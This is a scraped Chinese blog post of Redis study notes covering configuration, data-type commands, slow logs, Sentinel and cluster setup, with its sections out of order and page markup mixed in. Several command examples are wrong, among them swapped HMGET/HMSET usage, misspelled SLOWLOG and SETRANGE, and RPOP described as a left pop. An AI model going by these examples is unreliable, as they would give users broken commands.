redis-sentinel.conf\r注意：因为选举算法的原因，Sentinel监控节点最少要有3个，如果只有2个Sentinel监控节点，发生故障，因为投票机制问题（要选一个Sentinel监控节点来当Sentinel监控主节点，让这个Sentinel监控节点来确定哪个从节点来当主节点），只有当Sentinel监控集群超过一步的节点检测失效才会生效，而且Sentinel监控节点也发生故障了，导致故障转移无法生效，而且Sentinel监控节点数最后是奇数，避免投票偶数出现相同票数的情况\nSentinel监控节点定时任务\nSentinel监控节点每10秒对master和slave执行info（用来发现slave以及主从关系的确认），每2秒对master节点的channel进行交换信息（订阅发布，频道名为__sentinel__:hello），每1秒对其他Sentinel以及redis主从节点执行ping\n客观下线和主观下线，以及领导者选举\n客观下线\nsentinel monitor hallomaster 127.0.0.1 6379 2\n主观下线\nsentinel down-after-milliseconds hallomaster 30000\n当主观下线条件满足后，会执行sentinel is-master-down-by-addr命令来询问其他Sentinel监控节点是否确定master已经下线了\nsentinel is-master-down-by-addr 127.0.0.1 6379 0 *\n每个做主观下线的Sentinel监控节点向其他Sentinel监控节点发送该命令，并且要求设置该为领导者\n如果接收该命令的Sentinel监控节点没有同意过其他Sentinel监控节点的请求，那么将同意，否则拒绝（在周期内）\n如果Sentinel监控节点发现自己的票超过了Sentinel集合的半数，并且也是超过了客观下线的条件时，该监控节点成为领导者\n如果有多个Sentinel监控节点成为领导者，将会在一段时间后重新选举\n领导者节点会从slave节点中选择一个来当master节点，对该slave节点执行slaveof no one命令来让它成为新的master节点，然后对其他slave节点发送命令，来让其成为新的master节点的slave节点\n然后对故障的master节点配置为slave节点，并且进行监控，当其恢复则发送命令让其去复制新的master节点\n领导者节点选择slave节点当master节点的机制\n选择slave-priority（slave节点优先级）最高的slave节点，存在返回，不存在继续选择\n选择复制偏移量最大的slave节点（复制master节点最完成的），存在返回，不存在继续选择\n选择runID最小的slave节点（也就是最早的slave节点）\n手动故障转移master节点（当需要对master节点进行下线之前的操作）\nsentinel failover hallomaster\nredis cluster\nCluster（集群，解决QPS（或者OPS）无法满足业务需求，硬件无法满足业务需求）\n数据分区（常用的有顺序分区，哈希分区）\n顺序分区：按照顺序（id或者时间等等顺序）进行划分Redis实例，缺点是数据分布不均匀\n哈希分区：具有随机性，数据分布均匀，缺点是无法进行顺序访问\n哈希分区有节点取余分区，一致性哈希分区，虚拟槽分区\n节点取余分区，一致性哈希分区都是客户端分片，在客户端进行计算\n节点取余分区：hash(key)%nodes，优点：简单，缺点：增加或者减少节点需要重新计算来重新映射（推荐采用翻倍扩容来降低影响），重新计算将导致重新计算数据偏移量，节点数越多，花费的时间越长\n一致性哈希分区：hash(key)%2^32，将哈希构造成一个0~2^32的token环形结构，节点的范围在该环形结构内，因为该数值足够大，增加或者减少节点不会导致重新计算哈希的问题\n数据哈希化后，会根据顺时针方向来寻找自己的node节点（简单来说就是将全部数据构造成一个环形，分区就跟切蛋糕一样，该蛋糕是该node节点的，那个蛋糕是那个node节点的）\n增加或者减少节点，将导致数据范围减少或者增加，但是不会像节点取余分区一样，需要重新计算，重新分配数据，数据的偏移量和节点数有关，节点数越多，数据的偏移量越少（10个节点，数据的偏移量只有10%，100个节点，数据的偏移量只有1%），只会影响邻近节点（也可使用翻倍伸缩）\n虚拟槽分区（客户端计算hash，在服务端进行管理节点，槽以及数据）：Redis内置了16384个槽，每个槽都可映射成单个节点（当然节点不可能用这么多，一般都是节点使用多个槽，将16384个槽平均分配给每个节点，CRC16(key)\u002616383，每个节点都知道自己负责哪个槽，其他节点负责哪个槽（共享节点信息））\n搭建集群\n集群的部署有原生命令部署和官方工具（redis-trib.rb）部署这2种\n原生命令安装\n配置redis文件（redis-192.168.1.2.conf）\ncluster-enabled yes\rcluster-config-file nodes-192.168.1.2.conf\rcluster-node-timeout 15000\rcluster-require-full-coverage no\rcluster-enabled yes表示该redis节点是集群的节点，cluster-config-file为集群运行时，记录该节点的配置以及其他节点的信息状态等等，cluster-node-timeout表示集群中节点失联的最大时间（单位为毫秒），当超过该时间会认定其故障，cluster-require-full-coverage表示是否需要集群的全部节点服务（也就是说为yes时如果只有一个节点故障了，那么这个集群就不可用了）\n开启redis\nredis-server redis-192.168.1.2.conf\r添加集群节点（只需要在一个节点上配置，因为节点之间存在通信交互，当a节点和b节点连接后，a又和c节点连接，b节点知道c节点的存在后彼此感知着对方）\ncluster meet 192.168.1.2 6379\r分配槽（必须将0到16383的16384个槽全部分配完才能处于上线工作状态，这里设置了3个集群主服务）\n192.168.1.2 cluster addslots {0…5461}\n192.168.1.3 cluster addslots {5462…10922}\n192.168.1.4 cluster addslots {10923…16383}\n设置主从关系（故障转移，集群复制，这里是3个主节点和3个从节点来保证高可用）\n192.168.1.5 cluster replicate 主节点的node-id\n192.168.1.6 cluster replicate 主节点的node-id\n192.168.1.7 cluster replicate 主节点的node-id\nnode-id通过cluster nodes命令获取\n查看集群节点的状态\ncluster info\r查看集群节点的槽分配情况\ncluster slots\r测试集群上线情况（-c是以集群模式连接）\nredis-cli -c -p 6379\rset hallo word\r返回ok则认为集群已上线\n集群伸缩\n通过分配槽的16384个槽来进行集群的伸缩\n伸：当需求得不到满足时，添加新节点进来 缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线\n原理就是数据和槽在节点的迁移\n扩容节点\n创建新的节点，这个节点还是孤立节点，需要加入到集群\ncluster meet 192.168.1.10 6385\n查看加入集群是否成功\ncluster nodes\n加入集群后因为没有分配槽，是不进行工作的\n迁移数据和槽\n计算，平均槽数量\n配置主从（新加入的节点设置为从节点）\ncluster replicate 主节点的id\n如果需要配置该节点为主节点，可以\ncluster meet 196.168.1.10 6385\n迁移数据非常麻烦，这里使用redis-trib.rb来完成\nredis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）\n安装redis-trib.rb\n安装ruby（redis-trib.rb依赖于ruby）\n使用编译源码的方式来安装ruby\nhttps://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz\n安装redis模块\ngem install redis\nredis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以\n分配槽数据\nredis-trib.rb reshard 192.168.1.2:6385\n它会问你进行迁移多少个槽，1到16384，根据需求进行分配\n然后问你槽迁移到哪个节点，提供节点ID\n最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成\n它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移\n收缩集群\n下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点\n忘记节点可通过cluster forget 节点ID来完成，这个命令可以让当前节点忘记目标id的节点\n注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效\n迁移槽数据\nredis-trib.rb reshard –from 需要下线的节点id –to 迁移数据到哪个节点的id –slots 迁移多少个槽 192.168.1.10:6385\n是否确认操作，yes或者no\n如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配\n下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）\nredis-trib.rb del-node 192.168.1.2:6385 需要下线的节点id\n下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在\n故障发现，故障恢复\n集群完整性\n带宽消耗\npubsub广播\n集群倾斜和数据倾斜，以及请求倾斜\n读写分离\n数据迁移\n集群和单机\n缓存更新策略\n缓存粒度，穿透，无底洞问题\n","wordCount":"950","inLanguage":"en","datePublished":"2021-09-10T21:10:00Z","dateModified":"2021-09-10T21:10:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/97/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Redis学习笔记</h1><div class=post-meta><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Redis%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储</p><p>Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点</p><p>可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）</p><p>因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s</p><p>Redis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）</p><p>Redis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）</p><p>Redis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用</p><p>Redis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis</p><hr><p>Redis安装</p><p>编译安装（linux）</p><p>下载redis-x.x.x.tar.gz</p><p>解压</p><p>tar xzf redis-x.x.x.tar.gz</p><p>进入解压出来的文件夹中，执行make&&amp;make install命令</p><p>因为用的是默认配置</p><p>进入src，./redis-server ../redis.conf</p><p>测试客户端</p><p>./redis-cli</p><p>src目录下可看到6个可执行文件，作用如下：</p><p>redis-server可执行文件用于启动redis服务器</p><p>redis-cli可执行文件用于redis命令行客户端，用于连接redis服务器</p><p>redis-benchmark可执行文件用于redis性能测试，基准测试</p><p>redis-check-aof可执行文件用于修复AOF可持久化文件</p><p>redis-check-dump可执行文件用于RDB可持久化文件的检查工作</p><p>redis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）</p><p>使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑</p><hr><p>redis有3种启动服务器方式</p><p>默认配置启动</p><p>redis-server</p><p>动态参数启动</p><p>redis-server &ndash;port 6380</p><p>配置文件启动（推荐，通过redis.conf文件来进行配置）</p><p>redis-server configPath</p><p>客户端连接服务（6379是redis默认端口）</p><p>redis-cli -h 127.0.0.1 -p 6379 -a &ldquo;root&rdquo;</p><hr><p>redis.conf配置</p><p>默认端口为6379</p><p>port 6379</p><p>要远程访问则设置为0.0.0.0</p><p>bind 127.0.0.1</p><p>logfile，redis日志名</p><p>dir，redis工作目录（日志文件和持久化文件存储在哪个文件）</p><p>以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid</p><p>daemonize yes</p><p>指定pid位置</p><p>pidfile /var/run/redis.pid</p><p>数据库文件</p><p>dbfilename xxx.rdb</p><p>当客户端被闲置了多久关闭链接，0为关闭该功能</p><p>timeout 0</p><p>存储到本地数据库的时候是否压缩数据，采用LZP压缩</p><p>rdbcompression yes</p><p>超时</p><p>timeout 300</p><p>密码</p><p>requirepass root</p><hr><p>redis的通用命令</p><p>遍历输出所有key</p><p>KEYS *</p><p>输出所有以r开头的key</p><p>KEYS r*</p><p>输出所有以ra或者rb，rc开头的key</p><p>KEYS n[a-c]</p><p>输出roo?，?号位占位</p><p>KEYS roo?</p><p>KEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)</p><p>输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）</p><p>DBSIZE</p><p>判断一个key是否存在（真返回1，假返回0）</p><p>EXISTS a</p><p>删除指定key（可删除多个）</p><p>DEL a b</p><p>设置a将在10秒后过期</p><p>EXPIRE a 10</p><p>查询a将在多少秒后过期</p><p>TTL a</p><p>移除a的移除时间</p><p>PERSIST a</p><p>查询a的类型</p><p>TYPE a</p><p>上面几条命令除了KEYS不是O(1)外，其他都是O(1)</p><p>清除全部数据（key）</p><p>FLUSHALL</p><hr><p>Redis的命令执行是单线程（例如网络请求，数据操作）</p><p>一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞</p><hr><p>字符串</p><p>注意：key不要使用单引号双引号来表示双引号，没有必要</p><p>name键存储字符串root</p><p>SET name root</p><p>name为键（key），root为name键的值（value）</p><p>当key不存在时添加value值（存在则不进行操作）</p><p>SET name 1 NX</p><p>当key存在时添加value值</p><p>SET name 1 XX</p><p>设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）</p><p>SETEX name 10 1</p><p>设置key的过期时间，单位为毫秒</p><p>SET name 1 PX 1000</p><p>获取name的值</p><p>GET name</p><p>删除name</p><p>DEL name</p><p>将a的值自增1</p><p>GET a 1
+daemonize yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Redis学习笔记","item":"https://chenjunlinabc.github.io/posts/97/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Redis学习笔记","name":"Redis学习笔记","description":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes","keywords":["Redis"],"articleBody":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026\u0026make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server –port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a “root”\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes\n指定pid位置\npidfile /var/run/redis.pid\n数据库文件\ndbfilename xxx.rdb\n当客户端被闲置了多久关闭链接，0为关闭该功能\ntimeout 0\n存储到本地数据库的时候是否压缩数据，采用LZP压缩\nrdbcompression yes\n超时\ntimeout 300\n密码\nrequirepass root\nredis的通用命令\n遍历输出所有key\nKEYS *\n输出所有以r开头的key\nKEYS r*\n输出所有以ra或者rb，rc开头的key\nKEYS n[a-c]\n输出roo?，?号位占位\nKEYS roo?\nKEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)\n输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）\nDBSIZE\n判断一个key是否存在（真返回1，假返回0）\nEXISTS a\n删除指定key（可删除多个）\nDEL a b\n设置a将在10秒后过期\nEXPIRE a 10\n查询a将在多少秒后过期\nTTL a\n移除a的移除时间\nPERSIST a\n查询a的类型\nTYPE a\n上面几条命令除了KEYS不是O(1)外，其他都是O(1)\n清除全部数据（key）\nFLUSHALL\nRedis的命令执行是单线程（例如网络请求，数据操作）\n一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞\n字符串\n注意：key不要使用单引号双引号来表示双引号，没有必要\nname键存储字符串root\nSET name root\nname为键（key），root为name键的值（value）\n当key不存在时添加value值（存在则不进行操作）\nSET name 1 NX\n当key存在时添加value值\nSET name 1 XX\n设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）\nSETEX name 10 1\n设置key的过期时间，单位为毫秒\nSET name 1 PX 1000\n获取name的值\nGET name\n删除name\nDEL name\n将a的值自增1\nGET a 1 INCR a\n将a的值自减1\nDECR a\n将a的值自增指定值，这里就是a的值加99\nINCRBY a 99\n将a的值自减指定值\nDECRBY a 99\n批量获取多个key\nMGET a b c\n批量设置多个key-value\nMSET a 1 b 2 c 3\n设置新的value，并且返回 旧的value\nGETSET a 1\n将新的value追加到旧的value中去\nAPPEND a 2\n输出字符串的长度（注意中文，一个中文占2个字节，时间复杂度也为O(1)）\nSTRLEN a\n增加key的值，如果a的值为1的话，就是1+3.14\nINCRBYFLOAT a 3.14\n输出0到2下标的字符串\nGETRANGE a 0 2\n将第4个下标的字符串修改b（因为字符串下标从0开始）\nSETRANG hallo 3 b\n上面指令中除了MGET和MSET外（为O(n)），时间复杂度都为O(1)\n哈希是键值对的集合，是字段和值之间的映射（field（就是字段）不能相同，而value允许相同）\n设置哈希表user（name为field，root为value） HSET user name root\n获取哈希表user中指定name字段的值 HGET user name\n获取哈希表user中的全部字段和值 HGETALL user\n删除哈希表user中的name字段 HDEL user name\n判断哈希表user中是否存在name字段 HEXISTS user name\n输出哈希表user中存在多少个字段 HLEN user\n一次添加多条字段（时间复杂度为O(n)） HMGET user name root pass 123\n一次获取多条字段的值（时间复杂度为O(n)） HMSET user name pass\n输出user中的全部字段和值（时间复杂度为O(n)） HGETALL user\n输出user的全部值（时间复杂度为O(n)） HVALS user\n输出user中的全部字段（时间复杂度为O(n)） HKEYS user\n列表（有序，可重复，左右两端都可以插入值）\n将值插入hallo列表的最左端中（根据插入的个数决定时间复制度，实质效果就是 c b a，因为是从左端插入的） LPUSH hallo a b c\n值将从hallo列表的最右端中插入（根据插入的个数决定时间复制度） RPUSH hallo a b c\n在指定值之前插入一个新的值，这个表示b插入到a的前面 (时间复杂度为O(n)) LINSERT hallo BEFORE a b\n在指定值之后插入一个新的值，这个表示b插入到a的后面 (时间复杂度为O(n)) LINSERT hallo AFTER a b c\n从左边移除一个key LPOP hallo\n从左边移除一个key RPOP hallo\n删除全部于a值相等的（为0是相等，大于0为从列表的最右边删除以a值相等的指定数据的值（例如LREM hallo 1 a，就是从右侧（列表底部）删除1个和a值相等的值（因为列表允许存在重复的值，可用于去重）），小于0为从列表的最左侧删除于a值的值（例如-1就是删除最左侧删除和a值的相等的1个值（绝对值））） LREM hallo 0 a\n栽剪1到3的值（0以及3之后的值将被移除） LTRIM hallo 1 3\n查询0到5的值，正值是从左到右获取（从0开始），负数就是从右到左查（-1开始）（O(n)） LRANGE hallo 0 5\n获取指定索引的值(O(n)) LINDEX hallo 0\n获取列表的长度 LLEN hallo\n设置1索引的值为a LSET hallo 1 a\n获取列表的第一个元素（最左边）（会输出第一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BLPOP hallo 10\n删除列表的最后一个元素（最右边）（会输出最后一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BRPOP hallo 10\n–\n集合（无序集合，集合的特定就是没有重复元素，集合是利用哈希表实现的，因此添加，删除，查找的复杂度都是O(1)）\nSADD hallo abc\nSADD hallo xyz\n删除集合（将abc从hallo集合中删除）\nSREM hallo abc\n输出指定集合中的元素个数\nSCARD hallo\n判断’abc’是否存在于hallo集合中（真返回1，假返回0）\nSISMEMBER hallo ‘abc’\n随机输出指定集合的元素，其中count参数是随机输出几个元素\nSRANDMEMBER hallo count = 2\n输出指定集合的全部元素\nSMEMBERS hallo\n查找第一个集合和其他集合之间不相同的元素（差集）\nSDIFF hallo hhh\n将多个集合之前不相同元素存储到另一个集合中去，例子中是将hallo和hhh集合中不相同的元素存储到abcxyz集合中去\nSDIFFSTORE abcxyz hallo hhh\n输出指定集合中的相同的元素（交集，指定集合中存在相同的元素）\nSINTER hallo hhh\n输出指定集合的并集，就是将多个集合合并成一个集合\nSUNION hallo hhh\n随机从集合种移除指定个数的元素，如果不指定个数，默认移除1个元素\nSPOP hallo 2\n有序集合（根据第二个参数（分数）来排序）（ZADD时间复杂度为O(logN)）\nZADD hallo 0 abc\nZADD hallo 1 xyz\n删除指定元素（可多个） ZREM hallo abc\n获取abc的分数 ZSCORE hallo abc\n增加或者减少abc的分数，这里是加1（负数为减） ZINCRBY hallo 1 abc\n获取hallo的元素个数 ZCARD hallo\n获取abc在hallo中的排名（从0开始，正序，从小到大的排名） ZRANK hallo abc\n逆序排序（从大到小，例子是表示逆序输出得到为0到5之间的集合元素）\nZRANGEBYSCORE hallo 0 5\n逆序排序输出集合的全部元素\nZREVRANGEBYSCORE hallo +inf -inf\n正序输出分数在0到10之间的元素\nZRANGEBYSCORE hallo 0 10 WITHSCORES\n有序输出集合的全部元素，WITHSCORES参数为输出时携带得分\nZRANGE hallo 0 -1 WITHSCORES\n有序输出集合的索引为0到5之间的元素（第一个到第六个元素，-1表示最后一个元素，-2是最后面的第2个元素，以此类推）\nZRANGE hallo 0 5 WITHSCORES\n获取hallo集合中分数0到100的元素有多少个\nZCOUNT hallo 0 100\n将分数排名第一个的元素到第三个元素移除 ZREMRANGEBYRANK hallo 0 2\n将分数100到300之间的元素移除 ZREMRANGEBYSCORE hallo 100 300\n获取abc在hallo中的排名（逆序，从大到小的排名，排位0的值的分数最大） ZREVRANK hallo abc\n获取hallo中第一个元素到第三个元素的值（带分数），先根据分数从大到小排序，再获取 ZREVRANGE hallo 0 2 WITHSCORES\n获取指定有序集的交集（这里3表示有序集中存在4个值，就是每个有序集提供4个值，这里指定了2个有序集，就是4+4，hallo交集中就有8个值），并且存储到hallo交集中 ZINTERSTORE hallo 3 xyz hhh\n获取指定有序集的并集（其中WEIGHTS后面的参数分别表示对应有序集的乘法因子，例如xyz中第一个元素得分为2，那么就是2x2，就是4，而这个4被做为该值的得分传入到新的hallo并集中，并集将集合合并在一起，AGGREGATE后面的参数表示集合的聚合方法，默认为SUM（就是将所有指定集合中的某个元素的分数的和作为并集中该成员的分数，简单来说就是将集合中相同元素的分数相加，得到的和作为并集，也就是新创建的集合中作为该元素的分数），除了SUM外还有MIN（获取全部集合中相同元素的得分取自这些相同元素中最小的得分作为新集的该元素的得分），MAX（获取全部集合中相同元素的得分取自这些相同元素中最大的得分作为新集的该元素的得分）） ZUNIONSTORE hallo 3 xyz hhh WEIGHTS 2 3 AGGREGATE MIN\n慢查询（特点：先进先出队列，固定长度，保存于内存中）\n慢查询就是寻找长时间执行的命令，并且将该命令存储在日志中，慢查询只能记录命令执行的时间\n慢查询利用2个参数来实现的，这2个参数分别为slowlog-max-len和slowlog-log-slower-than\n其中slowlog-log-slower-than是记录执行超过指定时间的命令，单位为微秒，默认值为10000\nslowlog-max-len是限制慢查询日志的条数（慢查询日志的数据结构为列表，默认值为128，因为该慢查询日志是存储在内存中，重启redis会丢失日志的记录）\n当慢查询日志达到阈值时，如果还继续添加新的慢查询进来，将会将当前日志中最早的慢查询删除（先进先出）\n通过SOLWLOG GET命令查看慢查询日志\n慢查询日志的结构有6个值来表示1个慢查询，分别为慢查询的唯一ID，该命令执行的时间戳，慢查询的命令和参数，客户端地址和端口，客户端名称（通过client setname设置）\n查看存在多少条慢查询\nSOLWLOG LEN\n获取指定多少条慢查询\nSOLWLOG GET 